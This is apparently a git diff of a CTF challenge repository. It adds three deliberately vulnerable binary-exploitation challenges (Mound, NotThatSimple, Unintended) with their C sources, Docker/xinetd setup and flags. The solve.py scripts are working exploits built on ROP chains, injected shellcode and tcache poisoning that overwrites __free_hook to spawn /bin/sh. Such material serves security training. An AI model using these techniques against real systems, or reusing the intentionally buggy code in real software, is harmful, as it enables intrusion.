p64(e.got['__isoc99_scanf'] - 16), 16) + mound(4, p64(e.sym['win']), 32) + padding = b'A'*0x48 + poprdi = 0x0000000000401e8b + payload = flat(padding, poprdi, e.got['puts'], e.plt['puts'], e.sym['win']) + p.clean(0.2) + p.send(payload) + leak = u64(p.recvline()[:-1].ljust(8, b"\x00")) + log.info(f"Puts: {hex(leak)}") + libc.address = leak - libc.symbols['puts'] + rop = ROP(libc) + if not filename: + rop.read(0, 0x404300, 0x20) + rop.openat(0, 0x404300, 0) + rop.getdents64(3, 0x404400, 0x400) + rop.write(1, 0x404400, 0x400) + payload = padding + rop.chain() + p.send(payload) + p.send(b"/pwn\x00") + filename = p.recvuntil(b".txt")[-36:].decode() + log.success(f"Leaked filename: {filename}") + p.close() + del p + return filename + else: + rop.read(0, 0x404300, 0x50) + rop.openat(0, 0x404300, 0) + rop.read(3, 0x404400, 0x80) + rop.write(1, 0x404400, 0x80) + payload = padding + rop.chain() + p.sendline(payload) + path = f"/pwn/{filename}\x00".encode('latin1') + p.sendline(path) + res = p.clean(timeout=1) + if b'rarctf' in res: + print(re.findall(r'rarctf{.*}', res.decode())[0]) + exit() + p.close() + del p + + +name = do_pwn() +while True: + do_pwn(name) \ No newline at end of file diff --git a/pwn/Mound/src/Dockerfile b/pwn/Mound/src/Dockerfile new file mode 100644 index 0000000..69c89cc --- /dev/null +++ b/pwn/Mound/src/Dockerfile @@ -0,0 +1,18 @@ +FROM ubuntu:20.04 +RUN apt-get update -y && apt-get install -y \ + lib32z1 xinetd xxd \ + && rm -rf /var/lib/apt/lists/* +RUN useradd day +RUN mkdir /pwn +RUN echo "You've been blocked by our xinetd - try again, and report if this repeats." > /etc/banner_fail +COPY ./ctf.xinetd /etc/xinetd.d/pwn +COPY ./start.sh /start.sh +COPY ./setup.sh /setup.sh +COPY ./mound/mound /pwn/mound +COPY ./flag.txt /pwn/flag.txt +RUN chown -R root:day /pwn && chmod -R 750 /pwn +RUN chmod +x /setup.sh +RUN chown root:day /start.sh && chmod 750 /start.sh +CMD ["/setup.sh"] + +EXPOSE 8888 \ No newline at end of file diff --git a/pwn/Mound/src/ctf.xinetd b/pwn/Mound/src/ctf.xinetd new file mode 100644 index 0000000..70d9168 --- /dev/null +++ b/pwn/Mound/src/ctf.xinetd @@ -0,0 +1,17 @@ +service pwn +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = day + type = UNLISTED + port = 8888 + bind = 0.0.0.0 + server = /start.sh + banner_fail = /etc/banner_fail + # Options below are for safety mainly + #per_source = 10 # max instances per source at once + rlimit_cpu = 20 # max cpu seconds + #rlimit_as = 1024M # addr space resource limit +} \ No newline at end of file diff --git a/pwn/Mound/src/flag.txt b/pwn/Mound/src/flag.txt new file mode 100644 index 0000000..e9da41c --- /dev/null +++ b/pwn/Mound/src/flag.txt @@ -0,0 +1 @@ +rarctf{all0c4t0rs_d0_n0t_m1x_e45a1bf0b2} diff --git a/pwn/Mound/src/libc.so.6 b/pwn/Mound/src/libc.so.6 new file mode 100755 index 0000000..8b8f0e8 Binary files /dev/null and b/pwn/Mound/src/libc.so.6 differ diff --git a/pwn/Mound/src/mound/Makefile b/pwn/Mound/src/mound/Makefile new file mode 100644 index 0000000..861c471 --- /dev/null +++ b/pwn/Mound/src/mound/Makefile @@ -0,0 +1,7 @@ +CC=gcc + +all: mound + +mound: + ${CC} *c -o mound + diff --git a/pwn/Mound/src/mound/alloc.c b/pwn/Mound/src/mound/alloc.c new file mode 100644 index 0000000..75bad97 --- /dev/null +++ b/pwn/Mound/src/mound/alloc.c @@ -0,0 +1,78 @@ +#include +#include +#include +#include +#include +#include +#include "mound.h" +#define align(size) size + 16 + ((16 - (size % 16)) % 16) +#define get_mcache_index(size) size/16 - 2 + +void* top_chunk_alloc(unsigned int size){ + struct mound_main_struct* mound_main = MOUNDBASE; + struct top_chunk* top = mound_main->top; + ulong topsize = top->size; + size = align(size); + if (topsize <= size + 0x20){ + puts("Mound ran out of memory. Extra mmap not supported."); + exit(0); + } + struct top_chunk* newtop = (struct top_chunk *)((unsigned long)top + size); //Calculate new top chunk location + memcpy(newtop,top,sizeof(struct top_chunk)); + newtop->size -= size; + mound_main->top = newtop; + // Create new chunk + struct allocated_chunk* toreturn = (struct allocated_chunk *)top; // Goes where the old top chunk was + toreturn->id = rand64bit(); + toreturn->size = size; + return toreturn->data; +} +void* remove_id(unsigned long id){ + struct mound_main_struct* mound_main = MOUNDBASE; + for(int i = 0; i < MAX_CHUNKS; i ++){ + if (mound_main->trusted_ids[i] == id){ + mound_main->trusted_ids[i] = 0; + return; + } + } +} +void* mcache_alloc(unsigned int size){ + struct mound_main_struct* mound_main = MOUNDBASE; + struct mcache_carrier* mcache = mound_main->mcache; + size = align(size); + int index = get_mcache_index(size); + struct mcache_chunk* bin = mcache->bins[index]; + // Bin points to first chunk, which we steal + // We set the bin in mcache bins to whatever this bin points to + mcache->bins[index] = bin->next; + mcache->sizes[index] -= 1; + if (bin->verify != mcache) { + puts("Mcache: Invalid verify"); + exit(1); + } + bin->next = 0; + bin->verify = 0; + + struct allocated_chunk* toreturn = (struct allocated_chunk *)bin; + remove_id(toreturn->id); + return toreturn->data; + +} +void* mmalloc(unsigned int size){ + // Decide method of allocation, then allocate + struct mound_main_struct* mound_main = MOUNDBASE; + struct mcache_carrier* mcache = mound_main->mcache; + int newsize = align(size); + int index = get_mcache_index(newsize); + if(index < MCACHEBINS && mcache->bins[index] != NULL){ + return mcache_alloc(size); + } + else{ + return top_chunk_alloc(size); + + } +} +unsigned long mmalloc_usable_size(char* ptr){ + struct allocated_chunk* chunk = (ptr - sizeof(unsigned long) - sizeof(unsigned long)); + return chunk->size - 0x10; +} \ No newline at end of file diff --git a/pwn/Mound/src/mound/free.c b/pwn/Mound/src/mound/free.c new file mode 100644 index 0000000..bb50993 --- /dev/null +++ b/pwn/Mound/src/mound/free.c @@ -0,0 +1,50 @@ +#include +#include +#include +#include +#include +#include +#include "mound.h" +#define align(size) size + 16 + ((16 - (size % 16)) % 16) +#define get_mcache_index(size) size/16 - 2 +void register_id(unsigned long id){ + struct mound_main_struct* mound_main = MOUNDBASE; + for(int i = 0; i < MAX_CHUNKS; i ++){ + if (mound_main->trusted_ids[i] == 0){ + mound_main->trusted_ids[i] = id; + return; + } + } + puts("Mound out of space for free chunks."); + exit(1); +} +void find_id(unsigned long id){ + struct mound_main_struct* mound_main = MOUNDBASE; + for(int i = 0; i < MAX_CHUNKS; i ++){ + if (mound_main->trusted_ids[i] == id){ + puts("Mound: Double free detected"); + exit(1); + } + } +} +void mcache_free(struct mcache_chunk* chunk){ + struct mound_main_struct* mound_main = MOUNDBASE; + struct mcache_carrier* mcache = mound_main->mcache; + unsigned int index = get_mcache_index(chunk->size); + if(index >= 24){ + puts("Mound does not support such large freeing yet."); + exit(1); + } + struct mcache_chunk* bin = mcache->bins[index]; + mcache->bins[index] = chunk; + chunk->verify = mcache; + chunk->next = bin; + mcache->sizes[index] += 1; + register_id(chunk->id); +} + +void mfree(char * ptr){ + struct allocated_chunk* chunk = (ptr - sizeof(unsigned long) - sizeof(unsigned long)); + find_id(chunk->id); + mcache_free((struct mcache_chunk*)chunk); +} diff --git a/pwn/Mound/src/mound/main.c b/pwn/Mound/src/mound/main.c new file mode 100644 index 0000000..9eed2e6 --- /dev/null +++ b/pwn/Mound/src/mound/main.c @@ -0,0 +1,131 @@ +#include +#include +#include +#include +#include +#include "mound.h" +#include +#include + +// Compile by running gcc *c -o mound + +static void install_seccomp() { + static unsigned char filter[] = {32,0,0,0,4,0,0,0,21,0,0,12,62,0,0,192,32,0,0,0,0,0,0,0,53,0,10,0,0,0,0,64,21,0,9,0,59,0,0,0,21,0,8,0,66,1,0,0,21,0,7,0,2,0,0,0,21,0,6,0,3,0,0,0,21,0,5,0,85,0,0,0,21,0,4,0,134,0,0,0,21,0,3,0,57,0,0,0,21,0,2,0,58,0,0,0,21,0,1,0,56,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,0,0}; + struct prog { + unsigned short len; + unsigned char *filter; + } rule = { + .len = sizeof(filter) >> 3, + .filter = filter + }; + if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) { perror("prctl(PR_SET_NO_NEW_PRIVS)"); exit(2); } + if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) { perror("prctl(PR_SET_SECCOMP)"); exit(2); } +} +int menu(){ + int option; + puts("1. Add sand"); + puts("2. Add dirt"); + puts("3. Replace dirt"); + puts("4. Remove dirt"); + puts("5. Go home"); + printf("> "); + scanf("%d",&option); + return option; +} +void getinput(char* prompt, char* buf, size_t size){ + printf(prompt); + read(0, buf, size); +} + +void win(){ + puts("Exploiting BOF is simple right? ;)"); + char buf[64]; + read(0, buf, 0x1000); +} +char* arr[16] = {NULL, NULL, NULL, NULL,NULL, NULL, NULL, NULL,NULL, NULL, NULL, NULL,NULL, NULL, NULL, NULL}; +unsigned long sizes[16] = {0, 0, 0, 0,0, 0, 0, 0,0, 0, 0, 0,0, 0, 0, 0}; + +int main(){ + setvbuf(stdin, NULL,_IONBF, 0); + setvbuf(stdout, NULL,_IONBF, 0); + setvbuf(stderr, NULL,_IONBF, 0); + install_seccomp(); + puts("I am the witch mmalloc"); + puts("Force, Prime, Mind, Lore, Chaos, Orange, Einharjar, Poortho, Spirit, Red, Roman, Corrosion, Crust, Rust, all is known to me."); + puts("It is, from all of my training, that I have seen the flaws in glibc heap."); + puts("Welcome, fellow pwner, to The Mound"); + moundsetup(); + char string_buffer[0x100]; + memset(string_buffer, 0, 0x100); + unsigned int index; + unsigned int size; + while (1) { + switch (menu()) + { + case 1: + getinput("Pile: ", string_buffer, 0x100); + printf("Pile index: "); + scanf("%d", &index); + if(index >= 16){ + puts("No."); + continue; + } + arr[index] = strdup(string_buffer); + sizes[index] = strlen(string_buffer); + break; + case 2: + printf("Size of pile: "); + scanf("%d",&size); + if(size >= 0x1000){ + puts("A bit too much dirt my friend."); + continue; + } + printf("Pile index: "); + scanf("%d", &index); + if(index >= 16){ + puts("No."); + continue; + } + arr[index] = mmalloc(size); + sizes[index] = 0; + getinput("Pile: ", arr[index], size); + break; + case 3: + printf("Pile index: "); + scanf("%d", &index); + if(index >= 16){ + puts("No."); + continue; + } + if(arr[index] == NULL){ + puts("No."); + continue; + } + if (sizes[index] == 0){ + puts("No."); + continue; + } + getinput("New pile: ", arr[index], sizes[index]); + break; + case 4: + printf("Pile index: "); + scanf("%d", &index); + if(index >= 16){ + puts("No."); + continue; + } + if(arr[index] == NULL){ + puts("No."); + continue; + } + mfree(arr[index]); + sizes[index] = 0; + break; + default: + puts("Cya later :p"); + exit(0); + + } + } +} + diff --git a/pwn/Mound/src/mound/mound b/pwn/Mound/src/mound/mound new file mode 100755 index 0000000..c3f4f35 Binary files /dev/null and b/pwn/Mound/src/mound/mound differ diff --git a/pwn/Mound/src/mound/mound.h b/pwn/Mound/src/mound/mound.h new file mode 100644 index 0000000..cae28fe --- /dev/null +++ b/pwn/Mound/src/mound/mound.h @@ -0,0 +1,40 @@ +#pragma once +#define MCACHEBINS 24 +#define MAX_CHUNKS 0x1000 +#define MOUND_SIZE 0x400000 +void moundsetup(); +unsigned long rand64bit(); +void* mmalloc(unsigned int size); +void* top_chunk_alloc(unsigned int size); +void* mcache_alloc(unsigned int size); +typedef unsigned long ulong; +struct top_chunk { + unsigned long id; + unsigned long size; +}; +struct mcache_carrier{ + char sizes[MCACHEBINS]; + void* bins[MCACHEBINS]; +}; + +struct mound_main_struct { + void * moundlocation; + unsigned long trusted_ids[MAX_CHUNKS]; + struct mcache_carrier* mcache; + struct top_chunk* top; +}; + +struct allocated_chunk { + unsigned long id; + unsigned long size; + char data[]; +}; +struct mcache_chunk { + unsigned long id; + unsigned long size; + struct mcache_carrier* verify; + struct mcache_chunk* next; + char data[]; +}; + +#define MOUNDBASE (struct mound_main_struct*) 0xdead0000000 \ No newline at end of file diff --git a/pwn/Mound/src/mound/ruleset.S b/pwn/Mound/src/mound/ruleset.S new file mode 100644 index 0000000..c0f3748 --- /dev/null +++ b/pwn/Mound/src/mound/ruleset.S @@ -0,0 +1,16 @@ +A = arch +A == ARCH_X86_64 ? next : dead +A = sys_number +A >= 0x40000000 ? dead : next +A == execve ? dead : next +A == execveat ? dead : next +A == open ? dead : next +A == close ? dead : next +A == creat ? dead : next +A == uselib ? dead : next +A == fork ? dead : next +A == vfork ? dead : next +A == clone ? dead : next +return ALLOW +dead: +return KILL \ No newline at end of file diff --git a/pwn/Mound/src/mound/setup.c b/pwn/Mound/src/mound/setup.c new file mode 100644 index 0000000..7dcf91d --- /dev/null +++ b/pwn/Mound/src/mound/setup.c @@ -0,0 +1,33 @@ +#include "mound.h" +#include +#include +#include +#include +#include +#define MMAP(addr, size, prot, flags) \ + mmap((addr), (size), (prot), (flags)|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0) +void moundsetup(){ + // Avoid using glibc by all possible means + srand(time(NULL) ^ getpid()); + // Set up the mound by mmaping a small region for the mound main struct + void* main_segment = MMAP((void *)0xdead0000000,sizeof(struct mound_main_struct),PROT_READ|PROT_WRITE,0); + if (main_segment == (void *)MAP_FAILED){ + puts("Mound failed. ABORT!"); + exit(1); + } + // Create the actual mound + // Allocate at 0xbeef<<28 with size of 0x400000 + void * mound = MMAP((void *)0xbeef0000000,MOUND_SIZE,PROT_READ|PROT_WRITE,0); + if (mound == (void *)MAP_FAILED){ + puts("Mound failed. ABORT!"); + exit(1); + } + struct mound_main_struct* mound_main = MOUNDBASE; + mound_main->moundlocation = mound; + mound_main->top = mound; + struct top_chunk * firstchunk = mound; + firstchunk->id = rand64bit(); + mound_main->trusted_ids[0] = firstchunk->id; + firstchunk->size = MOUND_SIZE; + mound_main->mcache = top_chunk_alloc(sizeof(struct mcache_carrier)); // mcache carrier structure is at the top of the mound, first allocation +} diff --git a/pwn/Mound/src/mound/util.c b/pwn/Mound/src/mound/util.c new file mode 100644 index 0000000..e4dad0c --- /dev/null +++ b/pwn/Mound/src/mound/util.c @@ -0,0 +1,12 @@ +#include "mound.h" +#include +#include +#include +#include +#include +unsigned long rand64bit(){ + unsigned long output; + *(int *)&output = rand(); + *((int *)&output + 1) = rand(); + return output; +} \ No newline at end of file diff --git a/pwn/Mound/src/setup.sh b/pwn/Mound/src/setup.sh new file mode 100644 index 0000000..b83c53b --- /dev/null +++ b/pwn/Mound/src/setup.sh @@ -0,0 +1,4 @@ +#!/bin/sh +mv /pwn/flag.txt /pwn/$(xxd -l 16 -p /dev/urandom).txt +service xinetd start +sleep infinity \ No newline at end of file diff --git a/pwn/Mound/src/start.sh b/pwn/Mound/src/start.sh new file mode 100644 index 0000000..876d316 --- /dev/null +++ b/pwn/Mound/src/start.sh @@ -0,0 +1,3 @@ +#!/bin/sh +cd /pwn +./mound \ No newline at end of file diff --git a/pwn/NotThatSimple/README.md b/pwn/NotThatSimple/README.md new file mode 100644 index 0000000..bfc949b --- /dev/null +++ b/pwn/NotThatSimple/README.md @@ -0,0 +1,3 @@ +# Not That Simple +## Pwn +### Flag: rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515} \ No newline at end of file diff --git a/pwn/NotThatSimple/solve.py b/pwn/NotThatSimple/solve.py new file mode 100755 index 0000000..fa8e633 --- /dev/null +++ b/pwn/NotThatSimple/solve.py @@ -0,0 +1,27 @@ +from pwn import * +import re + +context.arch = 'amd64' +e = ELF("./src/notsimple") +if args.REMOTE: + p = remote(args.HOST, int(args.PORT)) +else: + p = process("./src/notsimple") + +NUM_TO_RET = 0x50 + 8 +p.recvuntil(b"Oops, I'm leaking! ") +bufaddr = int(p.recvline(),16) +log.success(f"Address of buffer: {hex(bufaddr)}") +p.recvuntil(b"> ") +log.info(f"Building payload...") +# Our payload is to get directory listed, then print it out +assembly = f"mov rdi, {hex(bufaddr)} ; mov rsi,0x0; mov rax,0x2 ; syscall" # open . +assembly += "; mov rdi, rax ; mov rsi, 0x404100 ; mov rdx, 0x1024 ; mov rax,0x4e ; syscall" # getdents +assembly += "; mov rsi, 0x404100 ; mov rdi,0x1 ; mov rdx,0x100 ; mov rax,0x1 ; syscall" # dump data +shellcode = asm(assembly) +log.info(f"Shellcode address: {hex(bufaddr + 2)}") +payload = fit({0: b'.\x00', 2: shellcode, NUM_TO_RET: p64(bufaddr + 2)}) +p.sendline(payload) + +result = p.recv().decode('latin1') +print(re.findall(r'rarctf\{.*\}', result)[0]) diff --git a/pwn/NotThatSimple/src/Dockerfile b/pwn/NotThatSimple/src/Dockerfile new file mode 100644 index 0000000..61b9e7f --- /dev/null +++ b/pwn/NotThatSimple/src/Dockerfile @@ -0,0 +1,18 @@ +FROM ubuntu:18.04 +RUN apt-get update -y && apt-get install -y \ + lib32z1 xinetd \ + && rm -rf /var/lib/apt/lists/* +RUN useradd jammy +RUN mkdir /pwn +RUN echo "You've been blocked by our xinetd - try again, and report if this repeats." > /etc/banner_fail +COPY ./ctf.xinetd /etc/xinetd.d/pwn +COPY ./start.sh /start.sh +COPY ./setup.sh /setup.sh +COPY ./notsimple /pwn/notsimple +RUN chown -R root:jammy /pwn && chmod -R 750 /pwn +RUN chmod +x /setup.sh +RUN chown root:jammy /start.sh && chmod 750 /start.sh + +CMD ["/setup.sh"] + +EXPOSE 8888 \ No newline at end of file diff --git a/pwn/NotThatSimple/src/ctf.xinetd b/pwn/NotThatSimple/src/ctf.xinetd new file mode 100644 index 0000000..2b5b70c --- /dev/null +++ b/pwn/NotThatSimple/src/ctf.xinetd @@ -0,0 +1,17 @@ +service pwn +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = jammy + type = UNLISTED + port = 8888 + bind = 0.0.0.0 + server = /start.sh + banner_fail = /etc/banner_fail + # Options below are for safety mainly + #per_source = 10 # max instances per source at once + rlimit_cpu = 20 # max cpu seconds + #rlimit_as = 1024M # addr space resource limit +} \ No newline at end of file diff --git a/pwn/NotThatSimple/src/notsimple b/pwn/NotThatSimple/src/notsimple new file mode 100755 index 0000000..caab114 Binary files /dev/null and b/pwn/NotThatSimple/src/notsimple differ diff --git a/pwn/NotThatSimple/src/setup.sh b/pwn/NotThatSimple/src/setup.sh new file mode 100644 index 0000000..ffed775 --- /dev/null +++ b/pwn/NotThatSimple/src/setup.sh @@ -0,0 +1,5 @@ +#!/bin/sh +service xinetd start +cd /pwn +touch FILE_6768585 FILE_5786754 FILE_76498904 FILE_6784577 FILE_eb94e79028 FILE_6758838 redpwn_absorption_plan.txt FILE_1d4a95be0c340478af4141d1658ddd9a304e0bbdf7402526f3fb6306b261309f8ff1183a907ca57d73fa662f8d52b2dea7986a7a195c2ae962c07d77dd8f684e7f9e5fe3ac575aafeaea1b09436ea3217d143e37584fc1d2a1e085535736fb81329fb093 rarctf{h3y_wh4ts_th3_r3dpwn_4bs0rpti0n_pl4n_d01n6_h3r3?_4cc9581515} +sleep infinity \ No newline at end of file diff --git a/pwn/NotThatSimple/src/start.sh b/pwn/NotThatSimple/src/start.sh new file mode 100644 index 0000000..46b7840 --- /dev/null +++ b/pwn/NotThatSimple/src/start.sh @@ -0,0 +1,4 @@ +#!/bin/sh +cd /pwn +./notsimple + diff --git a/pwn/Unintended/README.md b/pwn/Unintended/README.md new file mode 100644 index 0000000..89b778e --- /dev/null +++ b/pwn/Unintended/README.md @@ -0,0 +1,3 @@ +# Unintended +## Pwn +### Flag: rarctf{y0u_b3tt3r_h4v3_us3d_th3_int3nd3d...89406fae76} \ No newline at end of file diff --git a/pwn/Unintended/solve.py b/pwn/Unintended/solve.py new file mode 100644 index 0000000..765c7c3 --- /dev/null +++ b/pwn/Unintended/solve.py @@ -0,0 +1,60 @@ +from pwn import * +def alloc(idx, category, name, description, length=None, points=0): + p.sendlineafter("> ", "1") + p.sendlineafter(": ", str(idx)) + p.sendafter(": ", category) + p.sendafter(": ", name) + p.sendlineafter(": ", str(length if length else len(description))) + p.sendafter(": ", description) + p.sendlineafter(": ", str(points)) +def patch(idx, description): + p.sendlineafter("> ", "2") + p.sendlineafter(": ", str(idx)) + p.sendafter(": ", description) +def deploy(idx): + ans = [] + p.sendlineafter("> ", "3") + p.sendlineafter(": ", str(idx)) + p.recvuntil("Category: ") + ans.append(p.recvline()[:-1]) + p.recvuntil("Name: ") + ans.append(p.recvline()[:-1]) + p.recvuntil("Description: ") + ans.append(p.recvline()[:-1]) + return ans +def takedown(idx): + p.sendlineafter("> ", "4") + p.sendlineafter(": ", str(idx)) +e = ELF("./src/unintended") +libc = ELF("./src/lib/libc.so.6") +p = e.process() if not args.REMOTE else remote(args.HOST, int(args.PORT)) +# Use large bin to leak libc, then get rid of all of the evidence +alloc(0, b"A", b"A", b"A", 0x1000) +alloc(1, b"A", b"A", b"A", 0x1000) +takedown(0) +alloc(0, b"A", b"A", b"A", 0x1000) +leak = u64(deploy(0)[2].ljust(8, b"\x00")) +log.info(f"Libc leak: {hex(leak)}") +libc.address = leak - 0x3ebc41 +log.info(f"Libc base: {hex(libc.address)}") +takedown(1) +takedown(0) + +# Set up for free hook +alloc(9, b"A", b"A", b"/bin/sh") +# Manouevre heap then make chunk bigger than it is +alloc(0, b"A", b"A", b"A", 0x30) +takedown(0) +alloc(0, b"web", b"trigger", b"A"*24) +alloc(1, b"pwn", b"edited", b"B"*32) +patch(0, b"A"*24 + b"\xf1") +takedown(1) +alloc(2, b"B", b"B", b"B", 0x40) +takedown(2) +# Use bigger chunk to tcache poison +payload = b'A'*40 + p64(0x51) + p64(libc.symbols['__free_hook']) +alloc(3, b"C", b"C", payload, 0xe0) +alloc(4, b"D", b"D", b"D", 0x40) +alloc(5, b"D", b"D", p64(libc.symbols['system']), 0x40) +takedown(9) +p.interactive() \ No newline at end of file diff --git a/pwn/Unintended/src/Dockerfile b/pwn/Unintended/src/Dockerfile new file mode 100644 index 0000000..c12bbf5 --- /dev/null +++ b/pwn/Unintended/src/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:18.04 +RUN apt-get update -y && apt-get install -y \ + lib32z1 xinetd \ + && rm -rf /var/lib/apt/lists/* +RUN useradd clubby +RUN mkdir /pwn +RUN echo "You've been blocked by our xinetd - try again, and report if this repeats." > /etc/banner_fail +COPY ./ctf.xinetd /etc/xinetd.d/pwn +COPY ./start.sh /start.sh +COPY ./setup.sh /setup.sh +COPY ./unintended /pwn/unintended +COPY ./flag_0eff9e0ad1.txt /pwn/flag_0eff9e0ad1.txt +COPY ./lib /pwn/lib +RUN chown -R root:clubby /pwn && chmod -R 750 /pwn +RUN chmod +x /setup.sh +RUN chown root:clubby /start.sh && chmod 750 /start.sh + +CMD ["/setup.sh"] + +EXPOSE 8888 \ No newline at end of file diff --git a/pwn/Unintended/src/ctf.xinetd b/pwn/Unintended/src/ctf.xinetd new file mode 100644 index 0000000..9d5ff91 --- /dev/null +++ b/pwn/Unintended/src/ctf.xinetd @@ -0,0 +1,17 @@ +service pwn +{ + disable = no + socket_type = stream + protocol = tcp + wait = no + user = clubby + type = UNLISTED + port = 8888 + bind = 0.0.0.0 + server = /start.sh + banner_fail = /etc/banner_fail + # Options below are for safety mainly + #per_source = 10 # max instances per source at once + rlimit_cpu = 20 # max cpu seconds + #rlimit_as = 1024M # addr space resource limit +} diff --git a/pwn/Unintended/src/flag_0eff9e0ad1.txt b/pwn/Unintended/src/flag_0eff9e0ad1.txt new file mode 100644 index 0000000..0c4f572 --- /dev/null +++ b/pwn/Unintended/src/flag_0eff9e0ad1.txt @@ -0,0 +1 @@ +rarctf{y0u_b3tt3r_h4v3_us3d_th3_int3nd3d...89406fae76} diff --git a/pwn/Unintended/src/lib/ld-2.27.so b/pwn/Unintended/src/lib/ld-2.27.so new file mode 100755 index 0000000..eb6aac7 Binary files /dev/null and b/pwn/Unintended/src/lib/ld-2.27.so differ diff --git a/pwn/Unintended/src/lib/libc.so.6 b/pwn/Unintended/src/lib/libc.so.6 new file mode 100755 index 0000000..2ad9b54 Binary files /dev/null and b/pwn/Unintended/src/lib/libc.so.6 differ diff --git a/pwn/Unintended/src/setup.sh b/pwn/Unintended/src/setup.sh new file mode 100644 index 0000000..da205ee --- /dev/null +++ b/pwn/Unintended/src/setup.sh @@ -0,0 +1,3 @@ +#!/bin/sh +service xinetd start +sleep infinity \ No newline at end of file diff --git a/pwn/Unintended/src/start.sh b/pwn/Unintended/src/start.sh new file mode 100644 index 0000000..b0f4b12 --- /dev/null +++ b/pwn/Unintended/src/start.sh @@ -0,0 +1,3 @@ +#!/bin/sh +cd /pwn +./unintended \ No newline at end of file diff --git a/pwn/Unintended/src/unintended b/pwn/Unintended/src/unintended new file mode 100755 index 0000000..ed48f00 Binary files /dev/null and b/pwn/Unintended/src/unintended differ diff --git a/pwn/Unintended/src/unintended.c b/pwn/Unintended/src/unintended.c new file mode 100644 index 0000000..fda9340 --- /dev/null +++ b/pwn/Unintended/src/unintended.c @@ -0,0 +1,107 @@ +#include +#include +#include +#include +#include + +struct challenge { + char category[16]; + char name[16]; + char* description; + unsigned long points; +}; + +int menu(){ + puts("1. Make Challenge"); + puts("2. Patch Challenge"); + puts("3. Deploy Challenge"); + puts("4. Take Down Challenge"); + puts("5. Do nothing"); + printf("> "); + char buf[10]; + read(0, buf, 10); + return atoi(buf); +} +int ctftime_rating = 25; +struct challenge* challenges[10] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; +int main(){ + setvbuf(stdin, NULL,_IONBF, 0); + setvbuf(stdout, NULL,_IONBF, 0); + setvbuf(stderr, NULL,_IONBF, 0); + puts("Welcome to the RaRCTF 2021 Admin Panel!"); + puts("This totally has effect on the actual challenges!"); + unsigned int index; + unsigned int length; + while (1) { + switch (menu()){ + case 1: + printf("Challenge number: "); + scanf("%d", &index); + if(index >= 10 || challenges[index] != NULL){ + puts("Error: invalid index"); + break; + } + challenges[index] = malloc(sizeof(struct challenge)); + printf("Challenge category: "); + read(0, challenges[index]->category, 16); + printf("Challenge name: "); + read(0, challenges[index]->name, 16); + printf("Challenge description length: "); + scanf("%d", &length); + challenges[index]->description = malloc(length); + printf("Challenge description: "); + read(0, challenges[index]->description, length); + printf("Points: "); + scanf("%d", &challenges[index]->points); + puts("Created challenge!"); + break; + case 2: + printf("Challenge number: "); + scanf("%d", &index); + if(index >= 10 || challenges[index] == NULL){ + puts("Error: invalid index"); + break; + } + if (strncmp("web", challenges[index]->category, 3) != 0){ + puts("Challenge does not need patching, no unintended."); + break; + } + printf("New challenge description: "); + read(0, challenges[index]->description, strlen(challenges[index]->description)); + puts("Patched challenge!"); + ctftime_rating -= 5; + break; + case 3: + printf("Challenge number: "); + scanf("%d", &index); + if(index >= 10 || challenges[index] == NULL){ + puts("Error: invalid index"); + break; + } + puts("Deploying..."); + printf("Category: %s\n", challenges[index]->category); + printf("Name: %s\n", challenges[index]->name); + printf("Description: %s\n", challenges[index]->description); + break; + case 4: + printf("Challenge number: "); + scanf("%d", &index); + if(index >= 10 || challenges[index] == NULL){ + puts("Error: invalid index"); + break; + } + free(challenges[index]->description); + free(challenges[index]); + challenges[index] = NULL; + ctftime_rating -= 3; + break; + default: + puts("I guess we're done here."); + exit(0); + } + if (ctftime_rating <= 0){ + puts("Well... great."); + exit(0); + } + } +} \ No newline at end of file